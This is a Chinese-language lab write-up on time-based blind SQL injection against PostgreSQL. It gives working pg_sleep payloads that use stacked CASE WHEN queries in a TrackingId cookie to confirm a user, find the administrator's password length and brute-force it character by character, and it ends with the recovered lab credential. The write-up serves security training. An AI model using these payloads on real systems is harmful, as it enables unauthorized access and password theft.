# Web SQL injection Lab15 題目敘述可知這題是時間盲注 + 資料爆破版,透過延遲回應時間,逐一猜出: - administrator 的密碼長度 - 每個位置的字元內容 --- 一樣先進入網站並攔截請求。 ![image](https://hackmd.io/_uploads/Hy8a3c34xx.png) ![image](https://hackmd.io/_uploads/SJEJTq2Exe.png) 根據上題的經驗,我們先試一次延遲再來結合查詢語法。 ``` ' ||pg_sleep(10)-- ``` ![image](https://hackmd.io/_uploads/SyeNTq2Nlg.png) 一樣跑了 20 多秒,確定延遲有效之後,結合我們之前學習我們之前學習的盲注技巧,老樣子是找使用者存不存在。 ``` '%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ``` - 如果資料庫延遲 10 秒 → 表示條件為真 - 如果資料庫立即回應 → 表示條件為假 :::info ### 為什麼這裡要加 %3B(;)? 因為後面多一個新的查詢語句,所以加個;,用 URL 編碼則是因為直接打會出事。 ::: ![image](https://hackmd.io/_uploads/H1UdAqnNlg.png) 跑了一萬多毫秒,顯然是成功延遲了,所以可以開始猜密碼長度跟密碼內容。 ``` '%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ``` - 如果資料庫延遲 10 秒 → 表示條件為真 - 如果資料庫立即回應 → 表示條件為假 ![image](https://hackmd.io/_uploads/HkrJei2Egg.png) 一樣是 20 位,所以一樣爆破每一位密碼內容拿去登入。 ![image](https://hackmd.io/_uploads/Hy1eZjnEgl.png) ``` TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ``` - 如果資料庫延遲 10 秒 → 表示條件為真 - 如果資料庫立即回應 → 表示條件為假 ![image](https://hackmd.io/_uploads/r1XWXo2Eee.png) 拿到帳密: `administrator:g1xi5mbyn6wrwjuz5xc8` ![image](https://hackmd.io/_uploads/BkRG7s34ll.png) ---